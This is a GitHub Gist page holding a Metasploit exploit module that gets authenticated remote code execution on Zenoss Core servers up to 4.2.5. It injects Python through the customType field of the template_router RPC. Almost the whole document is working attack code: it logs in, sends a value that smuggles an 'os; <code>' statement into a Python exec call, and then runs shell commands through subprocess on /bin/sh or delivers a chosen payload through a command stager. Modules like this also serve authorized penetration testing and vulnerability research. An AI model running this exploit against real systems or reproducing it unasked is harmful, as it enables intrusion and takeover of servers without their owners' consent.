Last active
December 23, 2015 06:49
-
-
Save zeroSteiner/6596965 to your computer and use it in GitHub Desktop.
Zenoss Custom Graph Point Python Injection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This file is part of the Metasploit Framework and may be subject to | |
# redistribution and commercial restrictions. Please see the Metasploit | |
# web site for more information on licensing and terms of use. | |
# http://metasploit.com/ | |
## | |
require 'msf/core' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::CmdStagerBourne | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Zenoss Custom Graph Point Python Injection', | |
'Description' => %q{ | |
This module executes Python code on a Zenoss server as an | |
authenticated user with the MANAGE_DMD privilege. This privilege | |
is by default associated with the "ZenManager" and "Manager" | |
roles. It takes advantage of an unsanitized string which gets | |
passed to the Python exec function. | |
The vulnerability exists within the | |
GraphDefinition.manage_addCustomGraphPoint method in Zenoss Core | |
versions up to and including 4.2.5. | |
}, | |
'Author' => 'Spencer McIntyre', | |
'License' => MSF_LICENSE, | |
'Platform' => %w{ python linux }, | |
'Arch' => [ ARCH_PYTHON, ARCH_X86, ARCH_X86_64 ], | |
'References' => [ | |
#[ 'CVE', '' ], | |
#[ 'EDB', '' ], | |
#[ 'URL', '' ], | |
], | |
'DefaultOptions' => | |
{ | |
'PrependFork' => 'true', | |
'EXITFUNC' => 'process' | |
}, | |
'Payload' => | |
{ | |
'Space' => 4096, | |
'DisableNops' => true, | |
}, | |
'Targets' => | |
[ | |
[ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ], | |
[ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], | |
[ 'Linux x64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64 } ] | |
], | |
'DefaultTarget' => 0, | |
'Privileged' => true, | |
'DisclosureDate' => 'Aug 28 2013')) | |
register_options( | |
[ | |
Opt::RPORT(8080), | |
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), | |
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), | |
OptString.new('TARGETURI', [ true, 'The path to zenoss', '/zport/' ]), | |
], self.class) | |
end | |
def execute_python(python) | |
data = { | |
'action' => 'TemplateRouter', | |
'method' => 'addCustomToGraph', | |
'data' => [{ | |
'graphUid' => '/zport/dmd/Devices/Server/SSH/Linux/rrdTemplates/Device/graphDefs/Free Swap', | |
'customId' => rand_text_alphanumeric(4 + rand(6)), | |
'customType' => "os; #{python}" | |
}], | |
'type' => 'rpc', | |
'tid' => 111 | |
} | |
res = send_request_cgi({ | |
'method' => 'POST', | |
'uri' => normalize_uri(@uri.path, 'dmd', 'template_router'), | |
'ctype' => 'application/json', | |
'cookie' => @cookies, | |
'data' => JSON.unparse(data) | |
}) | |
if not (res and res.code == 200) | |
fail_with(Failure::Unknown, 'Python execution failed') | |
end | |
unless res.body.include?('SyntaxError: invalid syntax') | |
fail_with(Failure::Unknown, 'Python execution failed') | |
end | |
end | |
def execute_command(cmd, opts = {}) | |
python = 'import subprocess; ' | |
python << "subprocess.Popen([\"/bin/sh\", \"-c\", \"#{cmd}\"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait(); " | |
execute_python(python) | |
end | |
def exploit | |
@uri = target_uri | |
@uri.path = normalize_uri(@uri.path) | |
@uri.path << "/" if @uri.path[-1, 1] != "/" | |
print_status('Logging in...') | |
res = send_request_cgi({ | |
'method' => 'POST', | |
'uri' => normalize_uri(@uri.path, 'acl_users', 'cookieAuthHelper', 'login'), | |
'vars_post' => | |
{ | |
'submitted' => 'true', | |
'__ac_name' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), | |
'__ac_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal') | |
} | |
}) | |
if not (res and res.code == 302) | |
fail_with(Failure::NoAccess, 'Login failed') | |
end | |
@cookies = res.get_cookies | |
case target['Arch'] | |
when ARCH_PYTHON | |
print_status("Executing Python code") | |
execute_python(payload.encoded) | |
else | |
print_status("Executing command stager") | |
execute_cmdstager({:linemax => 350}) | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment